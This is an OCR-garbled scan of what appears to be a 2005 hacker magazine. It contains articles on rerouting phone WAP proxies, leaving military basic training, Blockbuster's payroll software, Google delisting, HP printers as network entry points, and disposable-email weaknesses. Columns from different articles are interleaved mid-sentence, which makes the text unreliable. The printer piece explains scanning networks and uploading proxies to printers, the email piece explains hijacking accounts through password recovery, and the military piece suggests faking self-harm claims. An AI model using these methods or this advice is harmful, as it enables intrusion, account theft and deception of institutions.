or  Kyocera a n d  your cell p hone  company (if you 
live in the US )  is  probab Ly Verizon . 

You ' ll n oti ce that i n  the "Advanced" menu ,  
there i s  a n  option  ca lled "Set WAP Proxy" . Keep 
this function  in m ind .  A WAP Proxy i s  j ust an  IP 
a nd  a port that point to what's ca LLed a WAP gate­
way, a p rogram runn ing  on a computer that acts 
as a gateway ( h ence the n ame) a llowi ng  a cell 
p hone  to con nect to the  wi reless Internet. It's 
fai rly easy to set up your own gateway, usi n g  your 
own computer 's Internet con necti on .  I use a 
gateway ca lled WAP3GX, avai la b le at http ://www 
... . wap3gx .co m .  

A detai led expLanation  o f  configuration  o f  a 
WAP gateway is beyond  the  scope of this a rti cle, 
but j ust know that the gateway (at least this is 
true fo r WAP3GX) listens  on  U D P  po rts 9 200 a nd  
9201  a n d  that you ' ll need t o  configu re your 
router a n d/or fi rewa LL accordi ng Ly to forwa rd 
these ports to your computer. If you ' re too Lazy or  

don 't want to attempt to set  up  your own WAP 
gateway, you can j ust use the  free, pub li c  WAP 
gateway p rovided by http ://www.waptu n n el .com 
at 207. 2 3 2 . 9 9 . 109 :9200 o r  207. 2 3 2 . 9 9 . 109 :9201 .  
The o n Ly reason I recommend  setti ng  up  your  own 
WAP gateway is  because WaptunneL's tends to n ot 
work very well most of the  ti me  ( a lthough  you 
can fi n d  other pubLi c  gateways if you loo k  a round  
on  GoogLe) . Fo r  now, Let' s j ust a s sume  you  have 
acquired an IP a nd  a port of an active WAP gate­
way. The next p rob lem i s  j ust getti ng  a ll of this 
i nfo rmation  i nto your ceLL  phone .  

My main a reas of experti se i n clude ce LL 
p hones  made by LG a n d  Kyocera, so I'LL b ri efly de­
scribe  how to get i nto the servi ce menu  of ceLL 
p hones made by those respective companies .  On  
the  newer LG  phones with coLor screens ,  when 
you hit the  menu  button from the home  screen 
you ' ll notice there a re ni ne  menu  choices from 1-
9 .  Ever wondered why they didn 't start at zero? 
Try hitti n g  the zero button .  You ' ll be asked to en­
ter  i n  a six-digit service code ,  which i s  usua lly a LL 
zeros .  Now you 're i n  the  service menu  of the  
phone ,  a n d  I wou ld n 't touch anythi ng  you  don 't 
feel  confident i n  messi n g  around with ,  because 
it 's p retty easy to render  a phone u nusab Le by en­
teri n g  i n  i n co rrect setti ngs .  You ' lL want to se lect 
"WAP Setti ng "  from the service menu  and  then "IP 
Setti ng " .  SeLect " Li n k3-IP1 " .  Write down what you 
see on  a piece of paper i n  case somethi ng  goes 
wrong  (so that you can " reset" the  phone  to its 
defau Lt setti ngs  if you need to) a n d  then rep lace 
the  listed IP with the  IP of your WAP gateway 
(don 't enter the port) . Hit OK a n d  then hit CLR .  
Select " Po rt Setti ng "  from the menu ,  then seLect 
Li n k3-Portl, then again write down what you see, 
then enter i n  the port of your WAP gateway. Hit 
O K  and then END .  I have tested this method with 
LG VX4400 a nd  VX6000 ceLLp hones but it wi ll work 
for other LG p hones ,  a Lthough  accessi ng  the ser­
vice menu  might be a littLe different - you might 
have to p ress menu  and  zero at the  same ti me,  or  
p ress a n d  ho Ld menu  a n d  then p ress zero, or  vice 
versa . 

On the  other  h and ,  if you have a Kyocera 
phone  go to the home  screen a n d  enter in the  
n u m ber 111-111  Li ke you were goi ng  to  ca L L  that 
n u m ber. You ' ll see a menu  option  pop up on the  
bottom of  the  phone .  Scro LL unti l you  see  a menu  
item ca LLed "Options " ,  se Lect i t ,  a n d  fi nd  another  
menu  item ca LLed " B rowser Setup " .  This i s  basi­
ca LLy the  same as  the LG setup from here, except 
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nstead of " Li n ks" ,  there a re " Up li n ks" ,  a n d  there 
a re o n ly two of them . Change  the  i nformation  i n  
U p li n k  B t o  that o f  you r  WAP gateway. 

The service menu  i s  the tri ckiest part of this 
operation ,  and if you ' re havi ng  troub le enteri n g  
setti ngs  or  i f  you  fi nd  my i n structions  i nadequate 
or have a p hone  man ufactu red by a company 
other  than  LG or Kyocera , there is p lenty of infor­
mation  about a ll this on the Internet 
(http ://www. howa rdforums .com is a good p lace 
to sta rt. ) - j ust sea rch for "WAP" . 

The  h a rdest part is n ow out of the  way. Try re­
opening your WAP web browser a nd  change the  
active WAP Proxy (as described i n  the  begi n ni n g  
o f  t h i s  a rti cle) t o  Proxy 3 if you  have a n  LG  Phone  
or  Proxy B if you  have a Kyocera phone .  I f  you  see 
a page aski n g  you to enab le secu rity features, it 
means  that you haven 't properly configu red the  
b rowser to  con nect to  you r  WAP gateway - you ' re 
sti ll con n ecti ng  to you r  cellula r  p rovider's gate­
way. If everyth ing went accordi ng  to p la n ,  the  
phone  s hou ld con nect to  your gateway and 
p rompt for a defau lt home  page to  display. Note 
that most of the  WAP-enab led phones o n ly ca n 
b rowse th rough  a n d  di sp lay WM L (Wi reless 
Ma rkup Language)  pages as opposed to HTM L 
pages,  so you ' ll need to go h unti n g  fo r WM L 
pages.  Google's wi reless WML  page is located at 
http ://wap .google . com .  which is nifty fo r fi nd­
i n g  other  WM L sites. Wireless Mapquest is  located 
at http ://wi reless . mapquest. com/aolmq_wm l. 
a n d  wi reless Superpages is  located at http ://wap  
.. .  superpages . com/cgi/cs_client. cgi , to  n ame  a 
few sites . All of these li n ks wou ld be entered i nto 
you r  cell phone  at the  p rompt. 

B rowsi ng  i sn 't the o n ly thi n g  you can do  with 

by Bac 
This article in  no way supports usi ng  these 

methods and is on Ly written for informative pur­
poses. If you sign up ,  you shou ld stick it out Li ke a 
good serviceperson .  

These observations were done when I was exit­
i ng  the USAF duri ng  my Basic Military Trai n ing 
segment. From what I can tell the system is set up 
to bounce back people who a re questionable once 
they enter i nto the service. 

So you are going  i nto the mi lita ry. Be sure to 
have long ta lks with your recruiter, ask lots · of 
questions ,  and  make sure you can quote question­
ab Le remarks or what may be b latant li es verbatim .  
That is t h e  fi rst thi ng you can do t o  protect 

S p r i n g Z O O S  

WAP, h owever. If you use Ceru lea n Studio 's  m u lti ­
network chat p rogra m ,  Tri lli an  Pro (avail a b le at 
http ://www.tri lli a n . cc/) .  you ca n download a 
p lug-in for Tri lli an  called L M .  Everywhere, which 
is  avai la b le at http ://www.i know. ca/i m every­
where/. This p rogram is a miniatu re HTTP server 
(not a WAP gateway) that wi ll let you 1M a nyone  
that i s  on  you r  Tri lli an  buddy list from  your 
phone .  Tri lli an  supports ICQ, AIM ,  MSN  Messen­
ger, and Ya hoo Messenger, which means that you 
wi ll be ab le to 1M a ll of you r  buddies on  you r  
phone  without payi n g  for text messages .  LM .  
Everywhere b roadcasts i n  both WML  a nd  HTM L so 
you wou ld enter you r  own IP i nto the  defau lt 
home page prompt on your p hone  to get this 
worki ng ,  o r  you cou ld enter you r  IP  i nto any In­
ternet b rowser on  a computer and use L M .  Every­
where to contro l Tri lli an  remotely. 

One  very important thi ng  to note is that WAP 
requi res celLu La r  airti me.  You wi ll be charged,  i n  
m inutes o f  ti me  spent on t h e  wi reless web, fo r 
data transfer on you r  phone  bi ll. There is no extra 
charge for wi reless Internet ( li ke there no rma Lly 
wou ld be) , o n ly regu La r  airtime  "ta Lki n g "  min utes 
(at least with Verizon ) ,  which means  that you wi ll 
most li kely have free WAP nig hts a n d  weekends  -
i n stead of seei n g  a dia led n umber on you r  phone  
bi ll, you  wou ld j ust see  " DATA TRANSFER" .  You r  
cellu la r  p rovider  wi ll a lmost defi nitely not sup ­
port doi ng  what i s  outli ned he re - so if you ' re go­
i ng  to  try any of  th i s  on  you r  own , try it with 
cauti on .  Agai n ,  I ta ke abso lutely no  responsibi l­
ity for extra cellu la r  charges you may i n cu r  or fo r 
any troub le you may get i nto with you r  cellu la r  
p rovider  if a n d  when you  try a ll of th i s .  That  sai d ,  
have fun a n d  I hope  you  lea rned somethi n g !  

yourself from what could possib ly happen .  
In fact, everyone who Leaves within the fi rst 

180 days of service is granted an "entry level sep­
a ration , "  be it for good reason ,  bad reason ,  or ugLy 
reason . So the sca re tactics they use to keep you 
i n  li ne a re in fact not quite as va lid  as stated.  (You 
know the good o le UCMJ . )  That does not fuLLy a p­
p Ly unti L after your fi rst 180 days of trai n ing .  

Most of  the way the exit process works is very 
compartmenta Lized . Each person at a desk knows 
littLe to nothing about the other Li n ks - from the 
peopLe i n  you r own wi ng ,  to the BAS, to the pro­
cessi ng fo Lk, to the docs and other  assorted peo­
pLe. Some a re en li sted, some a re civi lians ,  and  
some  a re officers . Not  one person has a ll t he  
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answers. All of this I had to lea rn from experience 
with a ll the va rious people i nvo lved in this 
process. 

The i ntent of a ll the processes is to deter peo­
ple from leavi ng .  The military is  having  major  is­
sues with retention so every effort is made to 
return recruits to trai n ing .  

Also, some of  the i nformation that I received is 
rumor. Here is  my attempt to sepa rate fact from 
fiction on the subject of exiti ng .  

1 .  You r  recruiter ca nnot li e to  a superior  i n  re­
gards to di rect question ing about a statement. 

2 .  The service wi ll do whatever it can to stick 
you with the bill and  not pay you,  such as if you 
come clean about a medica l  hi story issue, even if 
your recruiter to ld you to li e (this is  where being  
ab le to  quote questionable remarks verbatim  is 
important) . They wi ll most li kely stick you with the 
bill and send you home with some of you r  gear, 
and  may in fact charge you .  

3 .  They wi ll send you back to you r  point o f  en­
try or you r  home of record. 

4. They wi ll spend about two weeks processi ng 
your  fi le i n  regards to exit. Once you try to leave 
it's not a ll easy. It is sti ll mi lita ry protocol and  
even if you  have a complete b rea kdown , it's no 
walk i n  the park. They may lock you up  i n  the men­
ta l ward at the hospita l. 

5. If you try and  get hu rt or don 't d ri n k  enough 
water ( h eatstro ke) ,  they wi ll j ust send you to get 
patched up and  retu rned to trai n i ng .  

6 .  The easiest way to  get iso lated from you r  

group of  recruits and  speed up  the exit p rocess i s  
to  claim self ha rm or  a desire to  harm others, Ho­
mosexuality has  to  be attempted i n  practice, not 
statement, in order to get removed from basic. 
Also, if you harm others I know nothi ng of the 
p rocess that they wou ld use to isolate you ,  but I 
p resume they wou ld keep you heavi ly medicated.  

7 .  Your  medica l history that you suppressed at 
M EPS (Mi litary Entry Processi ng Station )  wi ll prob­
ably come  back to haunt you if you try to use that 
to leave. Simp ly put, the blame wi ll be placed 
upon you and your  pay wi ll be revoked, or  they wi ll 
say you a re clai ming fa lse diseases and  return you 
to trai n ing .  

8 .  This one is q uite surprisi ng .  Goi ng  AWOL  
(absent without leave) from BMT  may on ly get you 
an  orange vest if you retu rn wi lli ng ly, a long with a 
requi red service of 40 days with the rest of the re­
jects , and  forfeiture of pay. But you sti ll get an  
" Entry Level Sepa ration . "  

9 .  I f  you  u se  i llegal  d rugs, even if you  pass t he  
test at M EPS, they wi ll test you  fo r traces and  ki ck 
you out when they have the resu lts back, even if 
you a re a week from graduation from basic. 

10. You can exit clean ly if you keep you r  ea rs 
open and  realize that the system is not as stacked 
against you as you might thi nk ,  and that the exit 
routine  is  easy to access. 

This is enti rely fo r i nfo rmative pu rposes on ly. 
It's i ntended for use i n  case the d raft is rei n­
stated ,  or  if you rea lly make a major  mista ke by 
join ing .  

oster's Com pass 

by Ari stotLe 
As of Ma rch 1 st, 2005 ,  every B lockbuster em­

p loyee wi ll have spent hou rs reviewi ng  the  new 
softwa re corpo rate uses fo r payroll management: 
Compass .  C reated by B lueCube,  the  expansive 
software package a lso i n cludes trai n ing  modu les 
to help "stream li n e" futu re emp loyee p romotions .  

At  i t s  core, the  Compass trai ni n g  system is  a 
series of web-based PDF  fi les a n d  i nteractive 
Fla sh  m edia .  Emp loyees click  through the  se­
lected tasks or read the requi red documents, a n d  
take a b rief quiz when  they have completed a 
modu le .  Tasks  i n clude  lea rni n g  how to enteri n g  
you r  payro ll corporate ID  a n d  password t o  clock 
in a n d  out, maki n g  schedu le requests , a n d  view­
i n g  thei r  assi gned work week .  Sad ly, there is  no  
way to s k i p  a h ead ,  so anyone  who  has  u sed  any  
men u-d riven softwa re before i s  req ui red to  move 

at the sam e  pace as someone who has  never seen 
a keyboard .  Whi le this does ensure that every 
emp loyee has been p resented with a ll the rele­
vant i n formation ,  mi nd -numbing  in its redun­
dancy, it a lso ensures a ll but the  most si mp le of  
emp loyees wi ll i gno re what  they a re supposed to 
read ,  feeli n g  thei r  very IQ bei ng  d rai ned by the  
system 's  tediousness .  

Once the  system goes live, it wi ll schedu le 
emp loyees accordi n g  to need ,  as j udged by Com­
pass .  In the  test run this week ,  many "fu ll-ti m e" 
emp loyees found  they had  fewer than  fifteen 
schedu led hou rs in the comi ng  work week, wh i le 
lower-paid pa rt-time  emp loyees were given a n  
excess .  Unqua lified personne l  were schedu led to 
run  store-wide  i nventori es ,  a n d  a lmost every i n ­
dividua l  I've spoken to  found  they had  been 
schedu led d u ri n g  ti mes at which they were un -
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avai la b le .  These p rob lems may be resolved by 
la unch ,  but it is uncertai n .  

Another aspect o f  t h e  Compass system i s  its 
ab i lity to be remotely monitored . Fou r  ti mes a 
shift the Manager-on- Duty (MOD )  is requi red to 
update the  dai ly task  list with what emp loyees 
had accomp li shed what, a n d  at what ti me .  At a ny 
poi nt i n  the day, the  distri ct a nd  regiona l  di rec­
torate, a nd  most li kely others highe r  on the  
chai n ,  ca n see any store's updated task li st. The 
th reat of consta nt su rvei lla n ce i s  i ntended to be 
a "powerfu l  motivator, " clai med one  store man­
ager  d u ri n g  a meeti ng .  

In addition  to  disa llowing  emp loyees from 
clocki n g  out from thei r  shifts at any ti me ,  a vio la­
tio n  of many states' labo r  laws, the  n u merous 
checks and ba lances put i nto p lace requi ri ng  a 
manager  overri de  (with a h andy a lert sent to cor-

by Chess 
"Just when I thought that I was out they pull 

me back in! "  Lea rn to stay out of Google .  
Most people a re dyi ng  to get thei r  sites listed 

in Google .  But what if you want you r  site out of 
Google's li sti n gs? Maybe you want to keep you r  
site p rivate, o r  you  don 't want a b u n c h  o f  creeps 
su rfi ng  to your page tryi ng  to fi nd  an ima l  po rn .  
Maybe you  j ust hate Google, a re pa ra noi d ,  o r  
have s ome  copyrig hted materi a l  on you r  page 
that you need out of Google's cache today. What­
ever the case, it's actua lly p retty easy to get out 
of Google and  sta rt to bask i n  re lative anonymity. 
Because once you ' re out, then you r  page i s  off 
the  Internet fo r all i ntents a nd  pu rposes. H avi n g  
you r  page de listed i n  Google is  a lmost li ke havi n g  
you r  page password p rotected where t h e  pass­
word is  your U RL !  (In this a rti cle, I a lternate be­
tween keepi ng  Google 's bots out of you r  page and  
keepi ng  a ll sea rch engi n e  bots (there a re other 
sea rch eng ines now?) out. I 'm assuming that if 
you want out of Google you want out of them a ll. 
If you rea lly o n ly want out of Google then use 
"Googlebot" i n stead of " Robots" in the fo llowi ng  
exa mp les . )  

The fi rst thi n g  you want to do is  add  some 
meta tags to you r  i n dex. html.  If  you want Google 
- and  every other engi n e  - to i gno re you r  enti re 
site du ri n g  its spideri n g  of the web, add  this 
meta tag to you r  header :  

po rate each ti me)  to accomp li sh  many mundane  
tasks has  a lready decreased productivity, two 
weeks p ri o r  to the  softwa re's fu ll imp lementa­
tion .  

In s umma ry, the  b ig  b lue,  ever strivi ng  to 
make the  workplace mo re i n hospita b le a n d  un­
bearab le for emp loyees, have conti n ued to  as­
tound  and confuse thei r  workers with each 
additiona l  bu reaucratic layer they p lace between 
us a nd  ou r  ab i lity to help customers .  The meager 
paychecks they dang le before us do  little to help 
assuage the knowledge that we a re in fact pa rt of 
this mach ine .  I know I have made my decisi on ,  
a nd  I ' d  li ke to  t hank  B lueCube Softwa re fo r assur­
i n g  me it was the  ri ght  one .  

Related Links: www.b lockbuster.com .  
www.b luecube.com 

w \  ", '  � 
. "  

<META NAMEs· "ROBOTS " 

- NOFOLLOW " >  

Alternatively, you can a llow every sea rch en­
gine except for Google to i ndex you r  page .  J ust 
add  this tag :  
<META NAME= "GOOGLEBOT " CONTENT= "NOINDEX, 

-NOFOLLOW"> 

This next tag wi ll remove the "sn ippets" from 
the Google resu lts it retu rns .  Sn ippets a re the  de­
scri ptive text underneath the U RL when you pu ll 
up a li st of Google resu lts . It has  you r  sea rch 
terms bo lded with in the snippet to s how you 
what context your terms a re bei ng  used i n .  
<META NAME= "GOOGLEBOT " CONTENT= "NOSNIP 

-PET "> 

If you want you r  page to be listed in Google 
but don 't want them to store a n  a rchive of you r  
page ,  then add  o n ly th i s  next tag  to  you r  header :  
<META NAME= "ROBOTS " CONTENT= "NOARCHIVE "> 

This is  h a ndy if you have a page that changes 
frequently, i s  ti me  criti ca l, o r  if you don 't want 
searchers to be a b le to see you r  o ld pages .  For 
examp le, if you ' re a p rofessor posti ng  test solu­
tions  o r  somethi ng  si m i la r  you 'd  defi nitely want 
to remove Google 's cache if you p la n  on reusi ng  
the  test. 

After you add a ll the meta tags you want, you 
may be fi n i shed .  But if you ' re tryi ng  to keep bots 
out of you r  enti re site permanently, the  next 
thi ng  to do is create a robots . txt fi le i n  you r  
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website.s root di recto ry. Pull up Notepad a n d  
type i n  the  foLLowi ng  two Li nes :  
User-a gen t :  * 

Di s a l l ow :  / 

Save this fi le as robots .  txt a nd  ftp it to your 
site's root di recto ry. This wi LL tel l  the  GoogLebot 
a n d  a ctua LLy a ll other  search engi nes not to 
bother  Loo ki n g  at you r  page and  to spider some­
where e Lse. Obvious Ly, if you create this fi le then 
you don 't need the meta tags but if  you ' re extra 
paranoid  then you shou Ld use both methods Li ke I 
did .  

After you 've done  a ll that, go  a n d  si gn  up fo r 
a GoogLe account at http ://services .googLe 
- .  co m/ u rLco nso Le/ contro ller 

This page i s  fo r peop Le who u rgently want 
thei r  U RLs removed from the i n dex. Even then it 
wi ll ta ke up  to 24 hou rs .  B ut if you'd rather  wait 
six to eig ht weeks, be my guest. After you create 
an account, GoogLe wi ll emai L  you a Li n k  where 
you enter the  U R L  of you r  robots .txt fi le you j ust 
up Loaded and  then GoogLe sends  thei r  bot over to 
you r  site right  away to read  it. With any Luck, 
you ' re out of the i n dex i n  a day o r  two . I was out 
i n  Less than 1 2  hou rs .  If you want to get back i n ,  
j ust remove a LL the meta t ag s  a n d  the  robots .txt 
fi le . As Lo ng  as someone is Li n ki n g  to you some­
where you ' LL be Li sted agai n after GoogLe's next 
web crawl. 

Speci a L  than ks to GoogLe's Li sti n g  RemovaL 
Resou rce which is  at: http ://www.googLe .com . g r/ 
-remove . htm L 

The above page ca n a Lso h eLp you if you want 
to remove i mages from GoogLe 's image sea rch en­
gi ne .  Especia LLy h andy if you don 't want peopLe to 
be ab Le to Li n k  you r  name to you r  face o r  fi nd  
you r  weddi ng  p hotos. You can  Lea rn mo re about 
robots. txt fi Les a n d  what they can do here: 
http ://www. robotstxt.o rg/wc/norobots . htm L 

Of cou rse, it may si mp Ly be easie r  to password 
p rotect you r  page if you don 't want peop Le seei n g  
what's i n side .  B u t  someti mes that's not feasi b Le 
because of the  i n convenience it may pose to you r  
audience .  Besides ,  GoogLe ca n i n dex password­
p rotected pages a ccordi n g  to GoogLe's corpo rate 
i nformation  page .  Not o n Ly that, but anyth ing  
that  is  si mp Ly s h a ri n g  space on you r  server i s  fai r 
game  to the  GoogLebot Li ke Exce L or Word fi les . 
Even SSL pages ca n be i ndexed . The above m eth­
ods wi ll serve to h ide you r  page by p ractica LLy dis­
con necti n g  it from the web.  Once I was out I tried 
to GoogLe for my name  a nd  page and  su re enough 
it was gone .  It  was Li ke the  page d idn 't exi st and 
it gave me  such a n ice wa rm fuzzy feeLi n g  i nside .  

One  disclai mer  thoug h :  if you  were usi n g  
GoogLe as  you r  i n -house sea rch e ng i n e  so Lution  
to  heLp you r  users fi n d  information  on you r  page  
it wi ll no  Lo nger  work  once you 've been  de Listed . 

Have fun !  
Shoutouts to the Boneware Crew. 

H P  Pri nters :  
T H E H I D D E N T H R E A T  

by O a r Kry 
darkry@ g m a i l.com 

I was recently readi ng a book of fictiti ous sce­
na rios in which a hacker gai ns  access to a net­
work th rough  a p ri nter. The book cited a tooL  
called H ij etter avai lab Le at phenoeLit .de .  Hijetter 
is a tooL fo r wi n dows which uses H P's PJ L p rotoco L 
to con nect to and  perform si mp Le tasks on cer­
tai n p ri nters. Cu ri osity got the best of me  so I 
started doi ng  a LittLe resea rch i nto what exactLy 
these p ri nters a re capab Le of. Fi rst Let's Look  at 
some of the  featu res bu i lt i nto these p ri nters; 
many sh ip  with bui lt-i n web servers which a llow 
for remote admi nistrati o n .  These servers a LLow a 
remote admi nistrator to see the  status of the 
p ri nter, vi ew recent p ri nt jobs ,  and change envi­
ronment vari ab Les. It is  worth mention ing  that 

H P did bui Ld i n  password p rotecti on ,  but it is  d is­
ab Led by defau Lt and i n  fact, i n  a LL my expLori n g  I 
di d n 't fi n d  a si ng Le p ri nter that had  a password 
set. Many of these p ri nters a Lso have an  ftp 
server enab Led by defau Lt, a n d  agai n the pass­
words a re a joke .  Different modeLs have diffe rent 
defau Lt passwords and to Li st them he re wou Ld be 
poi ntless (use googLe ) .  In case the  imp Li cations  
a ren 't obvious  to  everyone  yet Let's review. These 
p ri nters have web and ftp servers runn ing  out of 
the  box. With a beefy 8mb of flash memory stor­
age a p ri nter sudden Ly becomes an  attractive 
p Lace to anonymousLy store a ll so rts of fun 
thi ngs .  But this is o n Ly the ti p of the iceberg . 

Fi rst Let' s Look  at how to fi nd  p ri nters. As an  
a dmin i strato r is  setti ng  up  a network he  i s  wor­
ried a bout a Lot of thi ngs .  Keepi ng  the bad guys 
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out is top p rio rity. After configu ri n g  a fi rewa LL to 
o n ly a llow the ri g ht people access to the  right  
ports the ru les ca n sta rt to  look li ke a g iant  game  
of  B li n ko .  I t  i s  understa ndab le that  b locki ng  the  
p ri nter spooli n g  port from outside  access may 
not have crossed the  adm in 's m ind .  In fact there 
a re va li d  reasons to a llow this ,  fo r i n stance, to 
a LLow emp loyees to p rint  from home .  ALL ports 
aside ,  a p ri nter defi nitely doesn 't appear  to be a 
th reat. After a ll, what damage can a p ri nter do? 
Fi re up  nmap and run a scan on you r  corporate 
network for mach ines with po rt 9100 open .  Once 
you have a li st, try surfi n g  to each add ress.  
Chances a re most of them wi LL have a web server. 
Those who a re inte rested in getti n g  thei r  hands  
di rty can get a li b rary for PJ L com m unicati on ,  
a lso from the fo lks a t  Phenoelit. 

Now so fa r this has been a relatively benign 
hack .  We have accessed a p ri nter and the  most 
damage we ca n do is lock  it with a n  error or p ri nt 
"Insert Coi n "  on the LCD di sp lay. I was sta rti n g  to 
get bored with a LL this a nd  about to move on to 
bigger  a nd  better thi ngs  when I noticed some­
thi ng  strange about some of the  newer p ri nters 

that I was fi n di n g .  I kept seei n g  references to 
somethi ng  ca LLed Chai  J ava . This got me i nter­
ested agai n .  Could it be that some of these p ri nt­
ers actua lly had  a java vi rtua l  mach ine  bui lt i nto 
them? That would mean that a ny code I wrote 
could be run from a p ri nte r, but mo re impo rta ntly 
a p ri nter i n side  a ta rget netwo rk .  After p layi n g  
a round  a bit mo re I found  that, yes, t h i s  rea lly 
was possi b le .  From the web server on these p ri nt­
e rs you can up load code to be run  on the  p ri nter. 
Chai Java is sti ll i n  its infancy but a lready it is 
possi b le to run a ll so rts of inte resti n g  thi ngs .  
Most  impo rta ntly, an  i m porta nt step has  been re­
moved .  The most difficu lt step in b rea ki ng  i nto a 
network has  a lways been fi nd ing  a way past the 
fi rewa LLs . Sudden ly i n stead of searchi ng  fo r a vul­
nerab le mach ine ,  a n  i ntruder ca n si mp ly con nect 
to a p ri nter's web site a nd  up load a p roxy. As fa r 
as security goes it's as bad as havi n g  i nte rna l  net­
work jacks on the  outside wall of you r  corpo rate 
headqua rters . 

Shouts of course go out to DarkLordZim, 
BrutaUnquisition, Razorwire, and the rest of the 
crew on media monks. 

D i s p o s a b l e  
E m a i l 

V ulner a bilit ie s 
by Sta n k Dawg 

sta n kdawg@sta n kdawg.com 
The spam epidemic has gotten ho rri b ly out of 

control. We aLL know that. Many so lutions  a re be­
i n g  attempted to avoid spam from legis lation  to 
tech nica l  a lternatives . Fi lteri ng  is  n ot an exact 
science and  it never wi LL be .  B lacklisti n g  sites a nd  
servers i s  u n rea listi c because one  server can be 
tai nted by one  user. Another recent phenomenon  
has  been  the  onset of  "disposab le" emai l  ac­
counts .  Some sites that offer these services a re 
dodgeit.com a nd  mai li n ator.com but there a re 
severa l others scattered a round  the web . 

A disposab le emai l account is one  that is not 
consistently used or tied to a n  i n dividua l  person .  
Persona LLy, I have created accounts on  m y  own 
server for this very pu rpose and then de leted the 
account after I was done  with it. Not everyone  
has  the  luxu ry o f  havi ng  thei r  own  server to  do 
th is .  To meet that need ,  some sites have ap­
pea red that a LLow a ny user to create a disposab le 
account to get a reply or information  without fea r  

o f  the  influx o f  s p am  that may resu lt from re­
questi n g  i n formation  from some site . 

You cou ld use this to sign  up to a ma i li n g  li st 
fo r exa mp le .  You can then check in on  that ac­
count to read the  mai li ng  li st without fea r  of 
them selli n g  you r  add ress a round  to other  li sts o r  
spa m mers .  You might a lso u se  th i s  as a one-ti m e  
disposab le message center. Perhaps y o u  want to 
post to a site a n d  want rep lies to a q uestion  but 
not get flooded with responses o r  have you r  rea l 
emai l  a dd ress made pub lic .  These a re perfect ex­
amp les on how and  why to use this type  of ac­
count. Specifi ca lly, the  mai li n g  li st examp le is a 
good way to add  RSS content to you r  site without 
the spa m .  Many of these sites (dodgeit. com fo r 
examp le) generate a news feed usi n g  RSS that 
you ca n add to you r  site . Mai li n g  li st content that 
you control! 

Keep i n  m ind  that due to the nature of these 
systems,  they p rovi de  free access fo r a nyone to 
use them at any ti me .  This means  that these dis­
posab le emai l sites do not have account  va lida-
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tion of thei r  own . That cou Ld be a n  i ron ic  mess ! 
What they do is a LLow a nyone to access any ac­
count at any ti me .  That way, there a re no  pass­
words to deaL with and no  account  set up  of any 
ki nd .  Anybody can use the service and nobody is  
excluded . It' s  a spam so Lution  fo r everyone !  

Th i s  Leads  me  to  the fi rst probLem with these 
systems as they a re now. Once agai n ,  due to the 
natu re of these systems ,  they a re meant to be 
disposab Le and used as described above. Dispos­
ab Le accounts were not i ntended to be  used fo r 
any type  of rea L mai l  usage a Lthough ,  theoreti­
caLLy, they cou Ld be. That is  why I call them "dis­
posab Le . "  In fact, you wi ll fi n d  that there i s  no 
deLete fun ction  on these services. What need 
wou Ld there be  for a deLete function  o n  a dispos­
ab Le account anyway? The system wi ll de Lete fi les 
every 30 days or whatever the  system is  set fo r. 
Anothe r  reason to not have a de Lete fun ction  is  
the fact that I mentioned ea rLi e r  about anyone 
accessi ng  any other account. All it wou Ld ta ke is a 
few ne 'e r-do-wells to go i n  a n d  deLete you r  con­
fi rmation  messages before you can get to them.  
Someone cou Ld even deLete everythi ng  i n  you r  
mai Lbox j u st t o  be a jerk .  I f  you  thi n k  that wou Ld 
be too h a rd to mai ntai n a nd  fig u re out, trust me  
when I teLL you  that  it cou Ld easi Ly be  scri pted to 
do this with  no manua L  inte rventi on .  This is not 
even the biggest p rob Lem with these systems .  It 
i s  the misuse of them that cou Ld rea LLy get you 
Owned .  

Th e big mistake that peopLe make with th is  
ki n d  of account  is  that  they try to use it fo r 
thi ngs  that quite si mp Ly, they shou Ld not. Some 
peop Le may thi n k  that registeri n g  fo r a forums 
site o r  a eMS (content management system )  with 
a disposab Le account may be a good i dea to avoid 
potentia L  spam or reveaLi n g  thei r  reaL emai l  ad­
d ress i n  a questionab Le envi ro n ment. But under­
sta ndi ng  how a fo rum works is cruci a l. If the 
fo rum doesn 't va Lidate any emai Ls ,  then it wi lL be 
fi ne .  Most fo rums ,  however, wi ll make you va Li­
date the emai L  add ress by sendi ng  a confi rmation 
passwo rd to that add ress that you m ust enter  to 
comp Lete the  registration  p rocess. There you go 
s ha ri ng  your account i nformation ,  including 
password, with the  worLd .  

Si nce that disposab Le emai L account is  open 
to the  wor Ld ,  a nyone  ca n ch eck you r  mail .  AL L  
they need to know is  the account  name.  If  they 
registered with a fo rum site fo r exa mp Le, it can 
easi Ly be Loo ked up i n  the members Li st. Go back 
and check thei r  "disposab Le" email account and  
s ee  if they Left the  emai l there. Remember, there 
is no deLete featu re on these systems !  If it is sti LL 
in the system ,  you wi LL see the site and the pass­
word . Peop Le who a re usi n g  a disposab Le emai L 
account to register fo r a site a re usua LLy too Lazy 

to change thei r  password . I can teLL you as a mat­
ter of fact that this h appens quite frequently. 

ALso, keep in mi nd  that these services a re 
web-based.  "So what? "  you may say. WeLL, i n  the  
examp Le above I mentioned that  if you noti ced 
someone at a site o r  went diggi ng  t h rough  a site 
fo r those emai l add resses you wou Ld fi nd  them .  
No  one  rea LLy wants to  manua LLy sea rch for peo­
pLe. So we Look  to automate thi ngs .  Si nce these 
a re web services, g uess what crawLs out every so 
often and picks them up? That's rig ht, spide rs 
from  sea rch engines !  If you haven't a Lready 
d ropped this a rti cle to try it, stop and do  a 
GoogLe search for "@dodgeit. com "  a n d  see what 
you ca n fi n d .  If the site i s  desi gned p roper Ly, 
they wi ll p revent spide rs from fi ndi n g  the actua L  
mai Lboxes on  the disposab Le emai l  site (which 
they do)  but other  sites where peopLe a re posti n g  
o r  usi n g  the  disposab Le ema i l  add resses usua LLy 
do not. 

I a Lso want to emphasize that j ust because 
the  i niti a L  emai ls with passwords may have been 
ro LLed from the system ,  that doesn 't mean a ny­
thi n g .  There is  a fata L backdoor that exists he re .  
It  is  actua lly the true defi nition  of a backdoor !  
Even if you miss  the o rigi na L  confi rmation  emai L, 
or even if they changed thei r  passwo rd right  away 
as suggested,  a Lmost every site offers a password 
recovery system for thei r  users .  All a person 
wou Ld have to do i s  go to that password recovery 
request a n d  have a new password sent to the  
o ri gi na L  emai L add ress, which i s  . . .  you guessed it, 
public! Any account that has been registered with 
any of these "disposab Le email accounts" can be 
backdoored. And  if you thi n k  this i sn 't a danger, 
i magi n e  the  identity theft that couLd take p lace!  
Opening eBay accounts under you r  account, 
ch angi ng  oth er  i nformation  on  a site, the Li st 
goes o n .  

This i s  not o n Ly a n  open  invitation  fo r a per­
son to have thei r  account owned a n d  be spoofed 
